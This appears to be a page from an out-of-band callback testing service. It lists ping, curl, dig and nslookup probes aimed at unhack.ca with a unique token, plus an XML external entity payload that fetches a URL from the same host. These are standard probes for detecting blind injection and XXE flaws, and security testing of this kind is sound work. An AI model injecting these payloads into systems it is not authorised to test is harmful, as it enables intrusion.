$ ping -c1 -p 00cf30906f84133622dc6ac546fa7200 unhack.ca
 
$ curl http://unhack.ca/p/cf30906f84133622dc6ac546fa72
 
$ dig cf30906f84133622dc6ac546fa72 @unhack.ca
 
$ dig cf30906f84133622dc6ac546fa72.ns.unhack.ca
 
C:\> nslookup cf30906f84133622dc6ac546fa72 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cf30906f84133622dc6ac546fa72">]>
    <foo>&xxe;</foo>
Waiting for ping...